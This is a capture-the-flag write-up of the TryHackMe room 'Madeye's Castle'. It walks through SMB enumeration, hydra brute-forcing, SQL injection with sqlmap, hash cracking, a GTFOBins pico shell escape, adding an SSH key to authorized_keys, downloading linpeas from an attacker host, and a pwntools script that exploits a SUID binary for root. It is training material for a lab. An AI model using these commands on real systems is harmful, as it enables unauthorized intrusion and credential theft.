TryHackMe: Madeye's Castle

TryHackMe: Madeye Castle created by madeye

Have fun storming Madeye's Castle! In this room you will need to fully enumerate the system, gain a foothold, and then pivot around to a few different users.

Enumeration

If you have been reading any of my other write-up's you know the score by now, let's add the box to our /etc/hosts and break out rustscan.

╰─⠠⠵ rustscan -a castle --ulimit 10000 -- -sC -sV -A -oA madeye       
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.196.128:22
Open 10.10.196.128:80
Open 10.10.196.128:139
Open 10.10.196.128:445
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-31 21:45 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating Ping Scan at 21:45
Scanning 10.10.196.128 [2 ports]
Completed Ping Scan at 21:45, 0.07s elapsed (1 total hosts)
Initiating Connect Scan at 21:45
Scanning madeyecastle (10.10.196.128) [4 ports]
Discovered open port 22/tcp on 10.10.196.128
Discovered open port 80/tcp on 10.10.196.128
Discovered open port 445/tcp on 10.10.196.128
Discovered open port 139/tcp on 10.10.196.128
Completed Connect Scan at 21:45, 0.04s elapsed (4 total ports)
Initiating Service scan at 21:45
Scanning 4 services on madeyecastle (10.10.196.128)
Completed Service scan at 21:45, 11.32s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.196.128.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:45
NSE Timing: About 99.82% done; ETC: 21:46 (0:00:00 remaining)
Completed NSE at 21:46, 40.07s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Nmap scan report for madeyecastle (10.10.196.128)
Host is up, received syn-ack (0.056s latency).
Scanned at 2021-01-31 21:45:40 GMT for 52s

PORT    STATE SERVICE     REASON  VERSION
22/tcp  open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:5f:48:fa:3d:3e:e6:9c:23:94:33:d1:8d:22:b4:7a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSmqaAdIPmWjN3e6ubgLXXBGVvX9bKtcNHYD2epO9Fwy4brQNYRBkUxrRp4SJIX26MGxGyE8C5HKzhKdlXCeQS+QF36URayv/joz6UOTFTW3oxsMF6tDYMQy3Zcgh5Xp5yVoNGP84pegTQjXUUxhYSEhb3aCIci8JzPt9JntGuO0d0BQAqEo94K3RCx4/V7AWO1qlUeFF/nUZArwtgHcLFYRJEzonM02wGNHXu1vmSuvm4EF/IQE7UYGmNYlNKqYdaE3EYAThEIiiMrPaE4v21xi1JNNjUIhK9YpTA9kJuYk3bnzpO+u6BLTP2bPCMO4C8742UEc4srW7RmZ3qmoGt
|   256 53:75:a7:4a:a8:aa:46:66:6a:12:8c:cd:c2:6f:39:aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCDhpuUC3UgAeCvRo0UuEgWfXhisGXTVUnFooDdZzvGRS393O/N6Ywk715TOIAbk+o1oC1rba5Cg7DM4hyNtejk=
|   256 7f:c2:2f:3d:64:d9:0a:50:74:60:36:03:98:00:75:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnNa6K0GzjKiPdClth/sy8rhOd8KtkuagrRkr4tiATl
80/tcp  open  http        syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: Amazingly It works
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: HOGWARTZ-CASTLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| nbstat: NetBIOS name: HOGWARTZ-CASTLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   HOGWARTZ-CASTLE<00>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<03>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<20>  Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 36939/tcp): CLEAN (Timeout)
|   Check 2 (port 10805/tcp): CLEAN (Timeout)
|   Check 3 (port 25756/udp): CLEAN (Timeout)
|   Check 4 (port 53997/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: hogwartz-castle
|   NetBIOS computer name: HOGWARTZ-CASTLE\x00
|   Domain name: \x00
|   FQDN: hogwartz-castle
|_  System time: 2021-01-31T21:45:52+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-01-31T21:45:52
|_  start_date: N/A

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.15 seconds

Open Ports

22/ssh

We do not have a username or password so lets skip ssh for now

80/http

Default apache landing page with custom logo. Quick look at the source code reveals


  <!--
        TODO: Virtual hosting is good. 
        TODO: Register for hogwartz-castle.thm
  -->

This suggests a vhost so will add hogwartz-castle.thm to my /etc/hosts

This look somehwere we can investigate further.

139 & 445/smb

We have a Samba share, nmap reports

139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: HOGWARTZ-CASTLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| nbstat: NetBIOS name: HOGWARTZ-CASTLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   HOGWARTZ-CASTLE<00>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<03>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<20>  Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: hogwartz-castle
|   NetBIOS computer name: HOGWARTZ-CASTLE\x00
|   Domain name: \x00
|   FQDN: hogwartz-castle
|_  System time: 2021-01-31T21:45:52+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-01-31T21:45:52
|_  start_date: N/A

Let's take a bit more of a look with enum4linux and see if there is anything interesting.

╰─⠠⠵ enum4linux castle
...
...
...
 ================================ 
|    OS information on castle    |
 ================================ 
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for castle from smbclient: 
[+] Got OS info for castle from srvinfo:
        HOGWARTZ-CASTLEWk Sv PrQ Unx NT SNT hogwartz-castle server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
...
...
...
 =================================== 
|    Share Enumeration on castle    |
 =================================== 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        sambashare      Disk      Harry's Important Files
        IPC$            IPC       IPC Service (hogwartz-castle server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
...
...
...
[+] Found domain(s):

        [+] HOGWARTZ-CASTLE
        [+] Builtin
...
...
...
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-21-273763562-2093225608-4008059193-501 HOGWARTZ-CASTLE\nobody (Local User)
S-1-5-21-273763562-2093225608-4008059193-513 HOGWARTZ-CASTLE\None (Domain Group)
S-1-22-1-1001 Unix User\harry (Local User)
S-1-22-1-1002 Unix User\hermonine (Local User)
...
...
...

Ok so we have a samba share sambashare along with usernames harry & hermonine. Can we mount the share with out creds ?

╰─⠠⠵ sudo mount -t cifs //castle/sambashare smb
Password for root@//castle/sambashare: 
╰─⠠⠵ ls smb 
spellnames.txt

Yes! we can, so let's copy off the spellnames.txt, looking at it I would assume it is a password list.

╰─⠠⠵ head spellnames.txt 
avadakedavra
crucio
imperio
morsmordre
brackiumemendo
confringo
sectumsempra
sluguluseructo
furnunculus
densaugeo

Before unmounting I run ls -a just to double check..

╰─⠠⠵ ls -a smb
.  ..  .notes.txt  spellnames.txt

Phew! almost missed something...

╰─⠠⠵ cp smb/.notes.txt .
╰─⠠⠵ cat .notes.txt 
Hagrid told me that spells names are not good since they will not "rock you"
Hermonine loves historical text editors along with reading old books.

Ok, looks like we have another username Hagrid with a hint that the password maybe contained within rockyou.txt. Hermonine's looks like it could be hint as well ...

User1.txt

Ok, So now we have some username/passwords we can try breaking into to the website. First let's try login in and capturing the request with developer tools so we can create our hydra command.

curl 'http://hogwartz-castle.thm/login' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://hogwartz-castle.thm' -H 'Connection: keep-alive' -H 'Referer: http://hogwartz-castle.thm/' -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'user=harry&password=password'

This returns Incorrect Username or Password , so lets build our hydra command

╰─⠠⠵ hydra -l harry -P spellnames.txt hogwartz-castle.thm http-post-form "/login:user=^USER^&password=^PASS^&submit=submit:F=Incorrect Username or Password" -V -I
...
...
...
1 of 1 target completed, 0 valid password found

Nothing for harry, let's try hermonine

╰─⠠⠵ hydra -l hermonine -P spellnames.txt hogwartz-castle.thm http-post-form "/login:user=^USER^&password=^PASS^&submit=submit:F=Incorrect Username or Password" -V -I
...
...
...
1 of 1 target completed, 0 valid password found

Hmm.... ok let's try Hagrid with rockyou.txt

╰─⠠⠵ hydra -l hagrid -P /usr/share/wordlists/rockyou.txt hogwartz-castle.thm http-post-form "/login:user=^USER^&password=^PASS^&submit=submit:F=Incorrect Username or Password" -V -I    
...
...
...

Whilst waiting for that to complete I run gobuster against both the main site and the vhost and find ..

╰─⠠⠵ gobuster dir -u http://castle -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt,bak,db,sql,sqlite,sqlite3,zip,bak,zip,tar,tar.gz,gz
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://castle
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     sqlite,sqlite3,zip,tar.gz,gz,php,html,htm,txt,bak,db,sql,tar
[+] Timeout:        10s
===============================================================
2021/01/31 22:27:07 Starting gobuster
===============================================================
/index.html (Status: 200)
/backup (Status: 301)
Progress: 3576 / 220561 (1.62%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/01/31 22:29:53 Finished
===============================================================

Going into /backup gives a 403 so let go deeper with gobuster

╰─⠠⠵ gobuster dir -u http://castle/backup/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt,bak,db,sql,sqlite,sqlite3,zip,bak,zip,tar,tar.gz,gz
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://castle/backup/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     bak,db,sql,sqlite,sqlite3,zip,php,html,tar,tar.gz,gz,htm,txt
[+] Timeout:        10s
===============================================================
2021/01/31 22:30:04 Starting gobuster
===============================================================
/email (Status: 200)

Let's take a look at email....

Madeye,

It is done. I registered the name you requested below but changed the "s" to a "z". You should be good to go.

RME

--------
On Tue, Nov 24, 2020 at 8:54 AM Madeye Moody <ctf@madeye.ninja> wrote:
Mr. Roar M. Echo,

Sounds great! Thanks, your mentorship is exactly what we need to avoid legal troubles with the Ministry of Magic.

Magically Yours,
madeye

--------
On Tue, Nov 24, 2020 at 8:53 AM Roar May Echo <info@roarmayecho.com> wrote:
Madeye,

I don't think we can do "hogwarts" due to copyright issues, but let’s go with "hogwartz", how does that sound?

Roar

--------
On Tue, Nov 24, 2020 at 8:52 AM Madeye Moody <ctf@madeye.ninja> wrote:
Dear Mr. Echo,

Thanks so much for helping me develop my castle for TryHackMe. I think it would be great to register the domain name of "hogwarts-castle.thm" for the box. I have been reading about virtual hosting in Apache and it's a great way to host multiple domains on the same server. The docs says that...

> The term Virtual Host refers to the practice of running more than one web site (such as 
> company1.example.com and company2.example.com) on a single machine. Virtual hosts can be 
> "IP-based", meaning that you have a different IP address for every web site, or "name-based", 
> meaning that you have multiple names running on each IP address. The fact that they are 
> running on the same physical server is not apparent to the end user.

You can read more here: https://httpd.apache.org/docs/2.4/vhosts/index.html

What do you think?

Thanks,
madeye

Ok, we guessed the above from the comment in the first page we hit, o'well dead end...

SQL Injection

Waiting for hydra to complete I try some simple sql injections

{"error":"The password for Lucas Washington is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

sqlmap time !!

─⠠⠵ sqlmap -r request --level 5 --risk 3 --dump-all --threads 10
...
...
...
... SKIPPING OUTPUT 
... THE COMMAND SHOULD DUMP THE DB and TABLES
...

From the output of the above sqlmap command the below looks the most interesting

[23:15:14] [INFO] retrieved: [REACTED]            
[23:15:14] [INFO] retrieving the length of query output
[23:15:14] [INFO] retrieved: 60
[23:15:17] [INFO] retrieved: My linux username is my first name, and password uses best64             
[23:15:17] [INFO] retrieving the length of query output
[23:15:17] [INFO] retrieved: 128
[23:15:51] [INFO] retrieved: [REACTED]
[23:15:51] [INFO] retrieving the length of query output
[23:15:51] [INFO] retrieved: 1
[23:15:52] [INFO] retrieved: 0
[23:15:55] [INFO] retrieving the length of query output

Let's try throwing it into hashcat

╰─⠠⠵ hashcat -m 1700 -a 0 harry -r /usr/share/hashcat/rules/best64.rule /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-AMD Ryzen 5 3400G with Radeon Vega Graphics, 13903/13967 MB (4096 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 77

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921513
* Keyspace..: 1104517722
* Runtime...: 1 sec

[REACTED]:[REDACTED]
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA2-512
Hash.Target......: [REACTED]
Time.Started.....: Sun Jan 31 23:43:26 2021 (5 secs)
Time.Estimated...: Sun Jan 31 23:43:31 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  7908.5 kH/s (9.43ms) @ Accel:256 Loops:77 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 43681792/1104517722 (3.95%)
Rejected.........: 0/43681792 (0.00%)
Restore.Point....: 566272/14344386 (3.95%)
Restore.Sub.#1...: Salt:0 Amplifier:0-77 Iteration:0-77
Candidates.#1....: wolfs1 -> weywey

Started: Sun Jan 31 23:42:37 2021
Stopped: Sun Jan 31 23:43:33 2021

Let's try logging in with those cred's

╰─⠠⠵ ssh harry@castle
The authenticity of host 'castle (10.10.196.128)' can't be established.
ECDSA key fingerprint is SHA256:tqvs4QmNV2BNfZVq42KFIsFtERVf7F4W5ziragiTf/0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'castle,10.10.196.128' (ECDSA) to the list of known hosts.
harry@castle's password: 
 _      __    __                     __         __ __                          __
 | | /| / /__ / /______  __ _  ___   / /____    / // /__  ___ __    _____ _____/ /____
 | |/ |/ / -_) / __/ _ \/  ' \/ -_) / __/ _ \  / _  / _ \/ _ `/ |/|/ / _ `/ __/ __/_ /
 |__/|__/\__/_/\__/\___/_/_/_/\__/  \__/\___/ /_//_/\___/\_, /|__,__/\_,_/_/  \__//__/
                                                        /___/

Last login: Thu Nov 26 01:42:18 2020

Boom, we are in!!!! Let's grab the flag!

harry@hogwartz-castle:~$ cat user1.txt 
RME{[REDACTED]}

User2.txt

ok now that we have a foot hold lets find out what PrivEsc we can find...

harry@hogwartz-castle:~$ sudo -l
[sudo] password for harry: 
Matching Defaults entries for harry on hogwartz-castle:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on hogwartz-castle:
    (hermonine) /usr/bin/pico
    (hermonine) /usr/bin/pico

Ok so we can run pico as hermonine ...

nano - Nano's ANOther editor, an enhanced free Pico clone

Jump over to Pico on GTFOBins

sudo pico
^R^X
reset; sh 1>&0 2>&0

So we give it a try sudo -u hermonine pico

$ id
uid=1002(hermonine) gid=1002(hermonine) groups=1002(hermonine)

Let's jump into hermonine's directory and take a look...

$ cd ..
$ ls
harry  hermonine
$ cd hermonine  
$ ls
user2.txt
$ cat user2.txt
RME{[REDACTED]}

*Boom!!!! 2nd flag down....

Root.txt

First lets put our ssh key into hermonine's authorized_keys and get a decent shell..

hermonine@hogwartz-castle:/home/hermonine/.ssh$ echo -n 'ssh-rsa ......................................................' > /home/hermonine/.ssh/authorized_keys; chmod 0600 /home/hermonine/.ssh/authorized_keys

Login in via ssh we get a good shell, now lets try sudo -l

[sudo] password for hermonine: 
Sorry, try again.

We need the password so no luck here. Lets grab linpeas.sh and run that ...

hermonine@hogwartz-castle:~$ wget http://10.9.5.198:9999/linpeas.sh
--2021-01-31 23:57:52--  http://10.9.5.198:9999/linpeas.sh
Connecting to 10.9.5.198:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 320037 (313K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                      100%[====================================================>] 312.54K   694KB/s    in 0.5s    

2021-01-31 23:57:53 (694 KB/s) - ‘linpeas.sh’ saved [320037/320037]

hermonine@hogwartz-castle:~$ sh linpeas.sh | tee log

Looking through our output we a see few interesting bits...

[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                 
Sudo version 1.8.21p2   


====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms                                                                      
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid  
-rwsr-xr-x 1 root   root       8.7K Nov 26 01:06 /srv/time-turner/swagger
  --- It looks like /srv/time-turner/swagger is executing time and you can impersonate it (strings line: time)
  --- It looks like /srv/time-turner/swagger is executing uname and you can impersonate it (strings line: uname -p)
  --- Trying to execute /srv/time-turner/swagger with strace in order to look for hijackable libraries...
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3

sudo doesn't look like it suffers from the 2019 so cve so over to swagger

hermonine@hogwartz-castle:~$ /srv/time-turner/swagger
Guess my number: 123
Nope, that is not what I was thinking
I was thinking of 2114839439

.... I hate reverse engineering binaries. Running it a couple time's gives different results so assume it's a RNG of some sorts.... chaining commands appears to keep the same number... Let's see if we can abuse that with pipe's ...

hermonine@hogwartz-castle:~$ echo '111' | /srv/time-turner/swagger | grep "of" | cut -f5 -d' ' | /srv/time-turner/swagger ;
Guess my number: Nice use of the time-turner!
This system architecture is x86_64

Ok we can get the random number now we need to get a shell....

from strings we can see it runs uname -p , can we abuse the environment to change this ? Copying /bin/bash to /home/harmonine/uname and running export PATH=.:$PATH we get the following ...

hermonine@hogwartz-castle:~$ which uname
./uname

However after running the below we do not seem to get a shell :( ...

hermonine@hogwartz-castle:~$ echo '111' | /srv/time-turner/swagger | grep "of" | cut -f5 -d' ' | /srv/time-turner/swagger
Guess my number: Nice use of the time-turner!
This system architecture is hermonine@hogwartz-castle:~$

Doing some googling I ended up finding pwntools and found the below script ...

#!/usr/bin/env python3

from pwn import *
context.log_level = 'error'

# First pass to get the number
p = process('/srv/time-turner/swagger')
p.sendline('1337');
p.readline()                  # Nope message
response = p.readline()       # Thinking message
answer = response.decode().split(' ')[-1].strip()
p.close()

# Second pass to get to impressive
p = process('/srv/time-turner/swagger')
p.sendline(answer)
p.interactive()

Running this we get the root shell and are able to get the flag

$ python3 exploit.py 

id
Guess my number: Nice use of the time-turner!
This system architecture is $ id
uid=0(root) gid=0(root) groups=0(root),1002(hermonine)
$ cat /root/root.txt
RME{[REDACTED]]
$  

Done!!!

Man that first part took forever to enumerate through... anyway we got there in end!!